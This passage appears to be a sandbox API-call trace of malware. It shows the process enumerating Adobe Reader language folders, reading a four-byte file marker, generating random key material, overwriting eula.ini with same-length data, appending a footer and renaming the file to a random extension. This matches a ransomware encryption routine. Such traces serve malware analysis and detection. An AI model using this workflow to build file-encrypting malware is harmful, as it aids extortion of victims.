(x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" [0225.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ed10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4 [0225.319] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0225.319] wcscmp (_String1="ESP", _String2=".") returned 1 [0225.319] wcscmp (_String1="ESP", _String2="..") returned 1 [0225.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868c40 [0225.319] wcscpy (in: _Dest=0x1b868c40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0225.320] wcscat (in: _Dest=0x1b868c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0225.320] wcscat (in: _Dest=0x1b868c40, _Source="ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" [0225.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e9c [0225.540] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0225.540] wcscmp (_String1="EUQ", _String2=".") returned 1 [0225.540] wcscmp (_String1="EUQ", _String2="..") returned 1 [0225.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f310 [0225.541] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0225.541] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0225.541] wcscat (in: _Dest=0x1b85f310, _Source="EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" [0225.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8c [0225.825] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0225.825] wcscmp (_String1="FRA", _String2=".") returned 1 [0225.825] wcscmp (_String1="FRA", _String2="..") returned 1 [0225.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20504810 [0225.826] wcscpy (in: _Dest=0x20504810, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0225.826] wcscat (in: _Dest=0x20504810, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0225.826] wcscat (in: _Dest=0x20504810, _Source="FRA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" [0225.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20504810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1440 [0226.082] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0226.082] wcscmp (_String1="HRV", _String2=".") returned 1 [0226.082] wcscmp (_String1="HRV", _String2="..") returned 1 [0226.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866840 [0226.083] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0226.083] wcscat (in: _Dest=0x1b866840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0226.083] wcscat (in: _Dest=0x1b866840, _Source="HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0226.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1efc [0226.253] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0226.253] wcscmp (_String1="HUN", _String2=".") returned 1 [0226.253] wcscmp (_String1="HUN", _String2="..") returned 1 [0226.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79def0 [0226.253] wcscpy (in: _Dest=0x1b79def0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0226.253] wcscat (in: _Dest=0x1b79def0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0226.254] wcscat (in: _Dest=0x1b79def0, _Source="HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0226.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79def0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x282c [0226.516] FindNextFileW (in: hFindFile=0x1ced5f20, lpFindFileData=0x1cd60320 | out: lpFindFileData=0x1cd60320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0226.516] wcscmp (_String1="ITA", _String2=".") returned 1 [0226.516] wcscmp (_String1="ITA", _String2="..") returned 1 [0226.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b86c440 [0226.516] wcscpy (in: _Dest=0x1b86c440, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0226.517] wcscat (in: _Dest=0x1b86c440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\" [0226.517] wcscat (in: _Dest=0x1b86c440, _Source="ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0226.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b86c340 [0226.517] wcscpy (in: _Dest=0x1b86c340, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0226.517] wcscat (in: _Dest=0x1b86c340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0226.517] wcscat (in: _Dest=0x1b86c340, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*" [0226.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0226.517] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c310 [0226.646] wcscmp (_String1=".", _String2=".") returned 0 [0226.646] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.646] wcscmp (_String1="..", _String2=".") returned 1 [0226.646] wcscmp (_String1="..", _String2="..") returned 0 [0226.646] FindNextFileW (in: hFindFile=0x1cd9c310, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0226.646] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0226.646] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0226.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a5d60 [0226.647] wcscpy (in: _Dest=0x202a5d60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" [0226.647] wcscat (in: _Dest=0x202a5d60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0226.647] wcscat (in: _Dest=0x202a5d60, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" [0226.647] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\eula.ini")) returned 0x20 [0226.648] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini", dwFileAttributes=0x20) returned 1 [0226.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3004 [0226.649] GetFileSizeEx (in: hFile=0x3004, lpFileSize=0x3498f710 | out: lpFileSize=0x3498f710*=1166) returned 1 [0226.649] SetFilePointerEx (in: hFile=0x3004, liDistanceToMove=0x48a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.649] ReadFile (in: hFile=0x3004, lpBuffer=0x3498f690, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3498f6d8, lpOverlapped=0x0 | out: lpBuffer=0x3498f690*, lpNumberOfBytesRead=0x3498f6d8*=0x4, lpOverlapped=0x0) returned 1 [0226.676] SetFilePointerEx (in: hFile=0x3004, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0226.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0226.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0226.677] NtQuerySystemTime (in: CurrentTime=0x3498f5d0 | out: CurrentTime=0x3498f5d0*=132462178306690000) returned 0x0 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x142d8488 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x459003db [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x50dff7dc [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x6c81f115 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x11b91dc7 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x566a8f09 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x53bcc071 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0xf620ea7 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x50c39c10 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x2fdb9f98 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x40cd85f2 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x6ddd87ea [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x5f1067f9 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x5be1849d [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x53bcc071 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x16bc7603 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x7c6f7d51 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x6f1e771e [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x7ae393d3 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x4bc98a9e [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x1da4feb2 [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x4fa2d7da [0226.677] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x19da0a4 [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x39e3ab74 [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x7859acea [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x6b1374b3 [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x7b711a2c [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x63b3d293 [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x7d5b315f [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x49fb797 [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x3b2524e4 [0226.678] RtlRandomEx (in: Seed=0x3498f5c0 | out: Seed=0x3498f5c0) returned 0x4425035e [0226.678] ReadFile (in: hFile=0x3004, lpBuffer=0x4243d540, nNumberOfBytesToRead=0x48e, lpNumberOfBytesRead=0x3498f5c0, lpOverlapped=0x0 | out: lpBuffer=0x4243d540*, lpNumberOfBytesRead=0x3498f5c0*=0x48e, lpOverlapped=0x0) returned 1 [0226.679] SetFilePointerEx (in: hFile=0x3004, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.679] WriteFile (in: hFile=0x3004, lpBuffer=0x42441150*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x3498f5c4, lpOverlapped=0x0 | out: lpBuffer=0x42441150*, lpNumberOfBytesWritten=0x3498f5c4*=0x48e, lpOverlapped=0x0) returned 1 [0234.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4510 [0234.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0234.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3820) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42441150) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4243d540) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0234.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f3820 [0234.850] SetFilePointerEx (in: hFile=0x3004, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.851] WriteFile (in: hFile=0x3004, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3498f6e0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x3498f6e0*=0x102, lpOverlapped=0x0) returned 1 [0236.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61d80 [0236.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264650 [0236.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264650) returned 1 [0236.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0236.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264650 [0236.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264530 [0236.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264530) returned 1 [0236.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d80) returned 1 [0236.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20264530 [0236.606] sprintf (in: _Dest=0x20264530, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.606] sprintf (in: _Dest=0x20264532, _Format="%c%c" | out: _Dest="94") returned 2 [0236.606] sprintf (in: _Dest=0x20264534, _Format="%c%c" | out: _Dest="14") returned 2 [0236.606] sprintf (in: _Dest=0x20264536, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.606] sprintf (in: _Dest=0x20264538, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.606] sprintf (in: _Dest=0x2026453a, _Format="%c%c" | out: _Dest="d3") returned 2 [0236.606] sprintf (in: _Dest=0x2026453c, _Format="%c%c" | out: _Dest="02") returned 2 [0236.606] sprintf (in: _Dest=0x2026453e, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.606] sprintf (in: _Dest=0x20264540, _Format="%c%c" | out: _Dest="34") returned 2 [0236.606] sprintf (in: _Dest=0x20264542, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.606] sprintf (in: _Dest=0x20264544, _Format="%c%c" | out: _Dest="61") returned 2 [0236.606] sprintf (in: _Dest=0x20264546, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.606] sprintf (in: _Dest=0x20264548, _Format="%c%c" | out: _Dest="d1") returned 2 [0236.606] sprintf (in: _Dest=0x2026454a, _Format="%c%c" | out: _Dest="44") returned 2 [0236.606] sprintf (in: _Dest=0x2026454c, _Format="%c%c" | out: _Dest="1d") returned 2 [0236.606] sprintf (in: _Dest=0x2026454e, _Format="%c%c" | out: _Dest="50") returned 2 [0236.606] RtlInitAnsiString (in: DestinationString=0x3498f758, SourceString="c794145da8d3027d34d261d2d1441d50" | out: DestinationString="c794145da8d3027d34d261d2d1441d50") [0236.607] RtlAnsiStringToUnicodeString (in: DestinationString=0x3498f728, SourceString="c794145da8d3027d34d261d2d1441d50", AllocateDestinationString=1 | out: DestinationString="c794145da8d3027d34d261d2d1441d50") returned 0x0 [0236.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61ab0 [0236.607] wcscat (in: _Dest=0x431cb8a0, _Source="c794145d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\c794145d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\c794145d" [0236.607] wcscat (in: _Dest=0x431cb8a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\c794145d.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\c794145d.2f9b60" [0236.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\c794145d.2f9b60", NtPathName=0x3498f700, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\c794145d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x430e3da0 [0236.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e3da0) returned 1 [0236.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43084090) returned 1 [0236.950] NtQueryInformationFile (in: FileHandle=0x3004, IoStatusBlock=0x3498f768, FileInformation=0x3498f778, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3498f768, FileInformation=0x3498f778) returned 0x0 [0236.950] NtSetInformationFile (FileHandle=0x3004, IoStatusBlock=0x3498f768, FileInformation=0x3498f778, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb8a0) returned 1 [0237.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ab0) returned 1 [0237.049] FlushFileBuffers (hFile=0x3004) returned 1 [0238.199] CloseHandle (hObject=0x3004) returned 1 [0241.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce167c0 [0241.279] wcscpy (in: _Dest=0x1ce167c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\" [0241.279] 